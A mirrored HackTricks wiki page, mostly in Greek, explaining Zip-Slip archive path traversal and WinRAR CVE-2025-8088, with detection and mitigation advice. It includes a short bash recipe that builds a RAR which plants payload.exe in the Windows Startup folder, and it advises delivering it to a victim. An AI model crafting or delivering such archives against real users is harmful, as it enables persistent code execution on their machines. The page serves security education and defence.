mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
69 lines
7.1 KiB
Markdown
69 lines
7.1 KiB
Markdown
# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Overview
|
||
|
||
Πολλές μορφές αρχείων (ZIP, RAR, TAR, 7-ZIP, κ.λπ.) επιτρέπουν σε κάθε εγγραφή να φέρει το δικό της **εσωτερικό μονοπάτι**. Όταν ένα εργαλείο εξαγωγής τιμά τυφλά αυτό το μονοπάτι, ένα κατασκευασμένο όνομα αρχείου που περιέχει `..` ή ένα **απόλυτο μονοπάτι** (π.χ. `C:\Windows\System32\`) θα γραφτεί εκτός του επιλεγμένου καταλόγου από τον χρήστη. Αυτή η κατηγορία ευπάθειας είναι ευρέως γνωστή ως *Zip-Slip* ή **archive extraction path traversal**.
|
||
|
||
Οι συνέπειες κυμαίνονται από την επαναγραφή αυθαίρετων αρχείων έως την άμεση επίτευξη **remote code execution (RCE)** ρίχνοντας ένα payload σε μια **auto-run** τοποθεσία όπως ο φάκελος *Startup* των Windows.
|
||
|
||
## Root Cause
|
||
|
||
1. Ο επιτιθέμενος δημιουργεί ένα αρχείο όπου μία ή περισσότερες κεφαλίδες αρχείων περιέχουν:
|
||
* Σειρές σχετικής διαδρομής (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`)
|
||
* Απόλυτα μονοπάτια (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`)
|
||
2. Το θύμα εξάγει το αρχείο με ένα ευάλωτο εργαλείο που εμπιστεύεται το ενσωματωμένο μονοπάτι αντί να το καθαρίζει ή να αναγκάζει την εξαγωγή κάτω από τον επιλεγμένο κατάλογο.
|
||
3. Το αρχείο γράφεται στην τοποθεσία που ελέγχεται από τον επιτιθέμενο και εκτελείται/φορτώνεται την επόμενη φορά που το σύστημα ή ο χρήστης ενεργοποιεί αυτό το μονοπάτι.
|
||
|
||
## Real-World Example – WinRAR ≤ 7.12 (CVE-2025-8088)
|
||
|
||
WinRAR για Windows (συμπεριλαμβανομένων των `rar` / `unrar` CLI, της DLL και της φορητής πηγής) απέτυχε να επικυρώσει τα ονόματα αρχείων κατά την εξαγωγή. Ένα κακόβουλο αρχείο RAR που περιέχει μια εγγραφή όπως:
|
||
```text
|
||
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
|
||
```
|
||
θα κατέληγε **έξω** από τον επιλεγμένο φάκελο εξόδου και μέσα στον *Φάκελο Εκκίνησης* του χρήστη. Μετά την είσοδο, τα Windows εκτελούν αυτόματα όλα όσα υπάρχουν εκεί, παρέχοντας *μόνιμο* RCE.
|
||
|
||
### Δημιουργία ενός PoC Αρχείου (Linux/Mac)
|
||
```bash
|
||
# Requires rar >= 6.x
|
||
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
|
||
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
|
||
rar a -ep evil.rar evil/*
|
||
```
|
||
Options used:
|
||
* `-ep` – αποθήκευση διαδρομών αρχείων ακριβώς όπως δίνονται (μην αφαιρείτε το `./`).
|
||
|
||
Παραδώστε το `evil.rar` στο θύμα και δώστε τους οδηγίες να το εξάγουν με μια ευάλωτη έκδοση του WinRAR.
|
||
|
||
### Παρατηρούμενη Εκμετάλλευση στην Πραγματικότητα
|
||
|
||
Η ESET ανέφερε καμπάνιες spear-phishing RomCom (Storm-0978/UNC2596) που επισύναψαν αρχεία RAR εκμεταλλευόμενα το CVE-2025-8088 για να αναπτύξουν προσαρμοσμένα backdoors και να διευκολύνουν τις επιχειρήσεις ransomware.
|
||
|
||
## Συμβουλές Ανίχνευσης
|
||
|
||
* **Στατική επιθεώρηση** – Καταγράψτε τις καταχωρίσεις του αρχείου και σημειώστε οποιοδήποτε όνομα περιέχει `../`, `..\\`, *απόλυτες διαδρομές* (`C:`) ή μη κανονικοποιημένες κωδικοποιήσεις UTF-8/UTF-16.
|
||
* **Εξαγωγή σε sandbox** – Αποσυμπιέστε σε έναν αναλώσιμο φάκελο χρησιμοποιώντας έναν *ασφαλή* extractor (π.χ., Python’s `patool`, 7-Zip ≥ τελευταίας έκδοσης, `bsdtar`) και επαληθεύστε ότι οι προκύπτουσες διαδρομές παραμένουν μέσα στον φάκελο.
|
||
* **Παρακολούθηση τερματικών** – Ειδοποιήστε για νέα εκτελέσιμα που γράφονται σε τοποθεσίες `Startup`/`Run` λίγο μετά το άνοιγμα ενός αρχείου από το WinRAR/7-Zip/κ.λπ.
|
||
|
||
## Μετριασμός & Σκληραγώγηση
|
||
|
||
1. **Ενημερώστε τον extractor** – Το WinRAR 7.13 εφαρμόζει σωστή απολύμανση διαδρομών. Οι χρήστες πρέπει να το κατεβάσουν χειροκίνητα γιατί το WinRAR δεν διαθέτει μηχανισμό αυτόματης ενημέρωσης.
|
||
2. Εξάγετε αρχεία με την επιλογή **“Αγνόησε διαδρομές”** (WinRAR: *Εξαγωγή → "Μη εξαγωγή διαδρομών"*) όταν είναι δυνατόν.
|
||
3. Ανοίξτε μη αξιόπιστα αρχεία **μέσα σε sandbox** ή VM.
|
||
4. Εφαρμόστε λευκή λίστα εφαρμογών και περιορίστε την πρόσβαση εγγραφής χρηστών σε καταλόγους αυτόματης εκκίνησης.
|
||
|
||
## Πρόσθετες Επηρεαζόμενες / Ιστορικές Περιπτώσεις
|
||
|
||
* 2018 – Μαζική *Zip-Slip* προειδοποίηση από την Snyk που επηρεάζει πολλές βιβλιοθήκες Java/Go/JS.
|
||
* 2023 – 7-Zip CVE-2023-4011 παρόμοια διαδρομή κατά τη διάρκεια συγχώνευσης `-ao`.
|
||
* Οποιαδήποτε προσαρμοσμένη λογική εξαγωγής που αποτυγχάνει να καλέσει `PathCanonicalize` / `realpath` πριν από την εγγραφή.
|
||
|
||
## Αναφορές
|
||
|
||
- [BleepingComputer – WinRAR zero-day exploited to plant malware on archive extraction](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
|
||
- [WinRAR 7.13 Changelog](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
|
||
- [Snyk – Zip Slip vulnerability write-up](https://snyk.io/research/zip-slip-vulnerability)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|